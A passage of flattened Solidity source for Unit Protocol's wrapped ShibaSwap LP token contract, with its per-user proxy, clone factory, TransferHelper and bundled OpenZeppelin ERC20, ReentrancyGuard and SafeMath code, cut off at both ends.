vaultParameters.canModifyVault(msg.sender), "Unit Protocol Wrapped Assets: AUTH_FAILED"); IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userProxy = _getOrCreateUserProxy(_user, sslpToken); // get tokens from user, need approve of sslp tokens to pool TransferHelper.safeTransferFrom(address(sslpToken), _user, address(userProxy), _amount); // deposit them to TopDog userProxy.deposit(_amount); // wrapped tokens to user _mint(_user, _amount); emit Deposit(_user, _amount); } /** * @notice Unwrap tokens, withdraw from TopDog and send them to user * @dev only user or CDPManager could call this method */ function withdraw(address _user, uint256 _amount) public override nonReentrant { require(_amount > 0, "Unit Protocol Wrapped Assets: INVALID_AMOUNT"); require(msg.sender == _user || vaultParameters.canModifyVault(msg.sender), "Unit Protocol Wrapped Assets: AUTH_FAILED"); IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userProxy = _requireUserProxy(_user); // get wrapped tokens from user _burn(_user, _amount); // withdraw funds from TopDog userProxy.withdraw(sslpToken, _amount, _user); emit Withdraw(_user, _amount); } /** * @notice Manually move position (or its part) to another user (for example in case of liquidation) * @dev Important! Use only with additional token transferring outside this function (example: liquidation - tokens are in vault and transferred by vault) * @dev only CDPManager could call this method */ function movePosition(address _userFrom, address _userTo, uint256 _amount) public override nonReentrant hasVaultAccess { require(_userFrom != address(vault) && _userTo != address(vault), "Unit Protocol Wrapped Assets: NOT_ALLOWED_FOR_VAULT"); if (_userFrom == _userTo || _amount == 0) { return; } IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userFromProxy = _requireUserProxy(_userFrom); WSSLPUserProxy userToProxy = _getOrCreateUserProxy(_userTo, sslpToken); userFromProxy.withdraw(sslpToken, _amount, address(userToProxy)); userToProxy.deposit(_amount); emit Withdraw(_userFrom, _amount); emit Deposit(_userTo, _amount); emit PositionMoved(_userFrom, _userTo, _amount); } /** * @notice Calculates pending reward for user. Not taken into account unclaimed reward from BoneLockers. * @notice Use getClaimableRewardFromBoneLocker to calculate unclaimed reward from BoneLockers */ function pendingReward(address _user) public override view returns (uint256) { WSSLPUserProxy userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { return 0; } return userProxy.pendingReward(feeReceiver, feePercent); } /** * @notice Claim pending direct reward for user. * @notice Use claimRewardFromBoneLockers claim reward from BoneLockers */ function claimReward(address _user) public override nonReentrant { require(_user == msg.sender, "Unit Protocol Wrapped Assets: AUTH_FAILED"); WSSLPUserProxy userProxy = _requireUserProxy(_user); userProxy.claimReward(_user, feeReceiver, feePercent); } /** * @notice Get claimable amount from BoneLocker * @param _user user address * @param _boneLocker BoneLocker to check, pass zero address to check current */ function getClaimableRewardFromBoneLocker(address _user, IBoneLocker _boneLocker) public view returns (uint256) { WSSLPUserProxy userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { return 0; } return userProxy.getClaimableRewardFromBoneLocker(_boneLocker, feeReceiver, feePercent); } /** * @notice Claim bones from BoneLockers * @notice Since it could be a lot of pending rewards items parameters are used limit tx size * @param _boneLocker BoneLocker to claim, pass zero address to claim from current * @param _maxBoneLockerRewardsAtOneClaim max amount of rewards items to claim from BoneLocker, pass 0 to claim all rewards */ function claimRewardFromBoneLocker(IBoneLocker _boneLocker, uint256 _maxBoneLockerRewardsAtOneClaim) public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); userProxy.claimRewardFromBoneLocker(msg.sender, _boneLocker, _maxBoneLockerRewardsAtOneClaim, feeReceiver, feePercent); } /** * @notice get SSLP token * @dev not immutable since it could be changed in TopDog */ function getUnderlyingToken() public override view returns (IERC20) { (IERC20 _sslpToken,,,) = topDog.poolInfo(topDogPoolId); return _sslpToken; } /** * @notice Withdraw tokens from topdog to user proxy without caring about rewards. EMERGENCY ONLY. * @notice To withdraw tokens from user proxy to user use `withdrawToken` */ function emergencyWithdraw() public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); uint amount = userProxy.getDepositedAmount(); _burn(msg.sender, amount); assert(balanceOf(msg.sender) == 0); userProxy.emergencyWithdraw(); emit EmergencyWithdraw(msg.sender, amount); } function withdrawToken(address _token, uint _amount) public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); userProxy.withdrawToken(_token, msg.sender, _amount, feeReceiver, feePercent); emit TokenWithdraw(msg.sender, _token, _amount); } function readBoneLocker(address _user, address _boneLocker, bytes calldata _callData) public view returns (bool success, bytes memory data) { WSSLPUserProxy userProxy = _requireUserProxy(_user); (success, data) = userProxy.readBoneLocker(_boneLocker, _callData); } function callBoneLocker(address _boneLocker, bytes calldata _callData) public nonReentrant returns (bool success, bytes memory data) { bytes4 selector; assembly { selector := calldataload(_callData.offset) } require(allowedBoneLockersSelectors[_boneLocker][selector], "Unit Protocol Wrapped Assets: UNSUPPORTED_SELECTOR"); WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); (success, data) = userProxy.callBoneLocker(_boneLocker, _callData); } /** * @dev Get sslp token for using in constructor */ function getSsLpToken(ITopDog _topDog, uint256 _topDogPoolId) private view returns (address) { (IERC20 _sslpToken,,,) = _topDog.poolInfo(_topDogPoolId); return address(_sslpToken); } /** * @dev Get symbol of sslp token for using in constructor */ function getSsLpTokenSymbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).symbol(); } /** * @dev Get name of sslp token for using in constructor */ function getSsLpTokenName(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).name(); } /** * @dev Get token0 symbol of sslp token for using in constructor */ function getSsLpTokenToken0Symbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(address(ISushiSwapLpToken(getSsLpToken(_topDog, _topDogPoolId)).token0())).symbol(); } /** * @dev Get token1 symbol of sslp token for using in constructor */ function getSsLpTokenToken1Symbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(address(ISushiSwapLpToken(getSsLpToken(_topDog, _topDogPoolId)).token1())).symbol(); } /** * @dev No direct transfers between users allowed since we store positions info in userInfo. */ function _transfer(address sender, address recipient, uint256 amount) internal override onlyVault { require(sender == address(vault) || recipient == address(vault), "Unit Protocol Wrapped Assets: AUTH_FAILED"); super._transfer(sender, recipient, amount); } function _requireUserProxy(address _user) internal view returns (WSSLPUserProxy userProxy) { userProxy = usersProxies[_user]; require(address(userProxy) != address(0), "Unit Protocol Wrapped Assets: NO_DEPOSIT"); } function _getOrCreateUserProxy(address _user, IERC20 sslpToken) internal returns (WSSLPUserProxy userProxy) { userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { // create new userProxy = WSSLPUserProxy(createClone(userProxyImplementation)); userProxy.approveSslpToTopDog(sslpToken); usersProxies[_user] = userProxy; } } /** * @dev see https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol */ function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2022 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; // have to use OZ safemath since it is used in WSSLP import "../../interfaces/wrapped-assets/ITopDog.sol"; import "../../helpers/TransferHelper.sol"; /** * @title WSSLPUserProxy **/ contract WSSLPUserProxy { using SafeMath for uint256; address public immutable manager; ITopDog public immutable topDog; uint256 public immutable topDogPoolId; IERC20 public immutable boneToken; modifier onlyManager() { require(msg.sender == manager, "Unit Protocol Wrapped Assets: AUTH_FAILED"); _; } constructor(ITopDog _topDog, uint256 _topDogPoolId) { manager = msg.sender; topDog = _topDog; topDogPoolId = _topDogPoolId; boneToken = _topDog.bone(); } /** * @dev in case of change sslp */ function approveSslpToTopDog(IERC20 _sslpToken) public onlyManager { TransferHelper.safeApprove(address(_sslpToken), address(topDog), type(uint256).max); } function deposit(uint256 _amount) public onlyManager { topDog.deposit(topDogPoolId, _amount); } function withdraw(IERC20 _sslpToken, uint256 _amount, address _sentTokensTo) public onlyManager { topDog.withdraw(topDogPoolId, _amount); TransferHelper.safeTransfer(address(_sslpToken), _sentTokensTo, _amount); } function pendingReward(address _feeReceiver, uint8 _feePercent) public view returns (uint) { uint balance = boneToken.balanceOf(address(this)); uint pending = topDog.pendingBone(topDogPoolId, address(this)).mul(topDog.rewardMintPercent()).div(100); (uint amountWithoutFee, ) = _calcFee(balance.add(pending), _feeReceiver, _feePercent); return amountWithoutFee; } function claimReward(address _user, address _feeReceiver, uint8 _feePercent) public onlyManager { topDog.deposit(topDogPoolId, 0); // get current reward (no separate methods) _sendAllBonesToUser(_user, _feeReceiver, _feePercent); } function _calcFee(uint _amount, address _feeReceiver, uint8 _feePercent) internal pure returns (uint amountWithoutFee, uint fee) { if (_feePercent == 0 || _feeReceiver == address(0)) { return (_amount, 0); } fee = _amount.mul(_feePercent).div(100); return (_amount.sub(fee), fee); } function _sendAllBonesToUser(address _user, address _feeReceiver, uint8 _feePercent) internal { uint balance = boneToken.balanceOf(address(this)); _sendBonesToUser(_user, balance, _feeReceiver, _feePercent); } function _sendBonesToUser(address _user, uint _amount, address _feeReceiver, uint8 _feePercent) internal { (uint amountWithoutFee, uint fee) = _calcFee(_amount, _feeReceiver, _feePercent); if (fee > 0) { TransferHelper.safeTransfer(address(boneToken), _feeReceiver, fee); } TransferHelper.safeTransfer(address(boneToken), _user, amountWithoutFee); } function getClaimableRewardFromBoneLocker(IBoneLocker _boneLocker, address _feeReceiver, uint8 _feePercent) public view returns (uint) { if (address(_boneLocker) == address(0)) { _boneLocker = topDog.boneLocker(); } (uint amountWithoutFee, ) = _calcFee(_boneLocker.getClaimableAmount(address(this)), _feeReceiver, _feePercent); return amountWithoutFee; } function claimRewardFromBoneLocker(address _user, IBoneLocker _boneLocker, uint256 _maxBoneLockerRewardsAtOneClaim, address _feeReceiver, uint8 _feePercent) public onlyManager { if (address(_boneLocker) == address(0)) { _boneLocker = topDog.boneLocker(); } (uint256 left, uint256 right) = _boneLocker.getLeftRightCounters(address(this)); if (right <= left) { return; } if (_maxBoneLockerRewardsAtOneClaim > 0 && right - left > _maxBoneLockerRewardsAtOneClaim) { right = left + _maxBoneLockerRewardsAtOneClaim; } _boneLocker.claimAll(right); _sendAllBonesToUser(_user, _feeReceiver, _feePercent); } function emergencyWithdraw() public onlyManager { topDog.emergencyWithdraw(topDogPoolId); } function withdrawToken(address _token, address _user, uint _amount, address _feeReceiver, uint8 _feePercent) public onlyManager { if (_token == address(boneToken)) { _sendBonesToUser(_user, _amount, _feeReceiver, _feePercent); } else { TransferHelper.safeTransfer(_token, _user, _amount); } } function readBoneLocker(address _boneLocker, bytes calldata _callData) public view returns (bool success, bytes memory data) { (success, data) = _boneLocker.staticcall(_callData); } function callBoneLocker(address _boneLocker, bytes calldata _callData) public onlyManager returns (bool success, bytes memory data) { (success, data) = _boneLocker.call(_callData); } function getDepositedAmount() public view returns (uint amount) { (amount, ) = topDog.userInfo(topDogPoolId, address (this)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-or-later /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "./VaultParameters.sol"; /** * @title Auth2 * @dev Manages USDP's system access * @dev copy of Auth from VaultParameters.sol but with immutable vaultParameters for saving gas **/ contract Auth2 { // address of the the contract with vault parameters VaultParameters public immutable vaultParameters; constructor(address _parameters) { require(_parameters != address(0), "Unit Protocol: ZERO_ADDRESS"); vaultParameters = VaultParameters(_parameters); } // ensures tx's sender is a manager modifier onlyManager() { require(vaultParameters.isManager(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is able to modify the Vault modifier hasVaultAccess() { require(vaultParameters.canModifyVault(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is the Vault modifier onlyVault() { require(msg.sender == vaultParameters.vault(), "Unit Protocol: AUTH_FAILED"); _; } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.6; interface IVault { function DENOMINATOR_1E2 ( ) external view returns ( uint256 ); function DENOMINATOR_1E5 ( ) external view returns ( uint256 ); function borrow ( address asset, address user, uint256 amount ) external returns ( uint256 ); function calculateFee ( address asset, address user, uint256 amount ) external view returns ( uint256 ); function changeOracleType ( address asset, address user, uint256 newOracleType ) external; function chargeFee ( address asset, address user, uint256 amount ) external; function col ( ) external view returns ( address ); function colToken ( address, address ) external view returns ( uint256 ); function collaterals ( address, address ) external view returns ( uint256 ); function debts ( address, address ) external view returns ( uint256 ); function depositCol ( address asset, address user, uint256 amount ) external; function depositEth ( address user ) external payable; function depositMain ( address asset, address user, uint256 amount ) external; function destroy ( address asset, address user ) external; function getTotalDebt ( address asset, address user ) external view returns ( uint256 ); function lastUpdate ( address, address ) external view returns ( uint256 ); function liquidate ( address asset, address positionOwner, uint256 mainAssetToLiquidator, uint256 colToLiquidator, uint256 mainAssetToPositionOwner, uint256 colToPositionOwner, uint256 repayment, uint256 penalty, address liquidator ) external; function liquidationBlock ( address, address ) external view returns ( uint256 ); function liquidationFee ( address, address ) external view returns ( uint256 ); function liquidationPrice ( address, address ) external view returns ( uint256 ); function oracleType ( address, address ) external view returns ( uint256 ); function repay ( address asset, address user, uint256 amount ) external returns ( uint256 ); function spawn ( address asset, address user, uint256 _oracleType ) external; function stabilityFee ( address, address ) external view returns ( uint256 ); function tokenDebts ( address ) external view returns ( uint256 ); function triggerLiquidation ( address asset, address positionOwner, uint256 initialPrice ) external; function update ( address asset, address user ) external; function usdp ( ) external view returns ( address ); function vaultParameters ( ) external view returns ( address ); function weth ( ) external view returns ( address payable ); function withdrawCol ( address asset, address user, uint256 amount ) external; function withdrawEth ( address user, uint256 amount ) external; function withdrawMain ( address asset, address user, uint256 amount ) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20WithOptional is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWrappedAsset is IERC20 /* IERC20WithOptional */ { event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event PositionMoved(address indexed userFrom, address indexed userTo, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event TokenWithdraw(address indexed user, address token, uint256 amount); event FeeChanged(uint256 newFeePercent); event FeeReceiverChanged(address newFeeReceiver); event AllowedBoneLockerSelectorAdded(address boneLocker, bytes4 selector); event AllowedBoneLockerSelectorRemoved(address boneLocker, bytes4 selector); /** * @notice Get underlying token */ function getUnderlyingToken() external view returns (IERC20); /** * @notice deposit underlying token and send wrapped token to user * @dev Important! Only user or trusted contracts must be able to call this method */ function deposit(address _userAddr, uint256 _amount) external; /** * @notice get wrapped token and return underlying * @dev Important! Only user or trusted contracts must be able to call this method */ function withdraw(address _userAddr, uint256 _amount) external; /** * @notice get pending reward amount for user if reward is supported */ function pendingReward(address _userAddr) external view returns (uint256); /** * @notice claim pending reward for user if reward is supported */ function claimReward(address _userAddr) external; /** * @notice Manually move position (or its part) to another user (for example in case of liquidation) * @dev Important! Only trusted contracts must be able to call this method */ function movePosition(address _userAddrFrom, address _userAddrTo, uint256 _amount) external; /** * @dev function for checks that asset is unitprotocol wrapped asset. * @dev For wrapped assets must return keccak256("UnitProtocolWrappedAsset") */ function isUnitProtocolWrappedAsset() external view returns (bytes32); } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IBoneLocker.sol"; import "./IBoneToken.sol"; /** * See https://etherscan.io/address/0x94235659cf8b805b2c658f9ea2d6d6ddbb17c8d7#code */ interface ITopDog { function bone() external view returns (IBoneToken); function boneLocker() external view returns (IBoneLocker); function poolInfo(uint256) external view returns (IERC20, uint256, uint256, uint256); function poolLength() external view returns (uint256); function userInfo(uint256, address) external view returns (uint256, uint256); function rewardMintPercent() external view returns (uint256); function pendingBone(uint256 _pid, address _user) external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function emergencyWithdraw(uint256 _pid) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISushiSwapLpToken is IERC20 /* IERC20WithOptional */ { function token0() external view returns (address); function token1() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 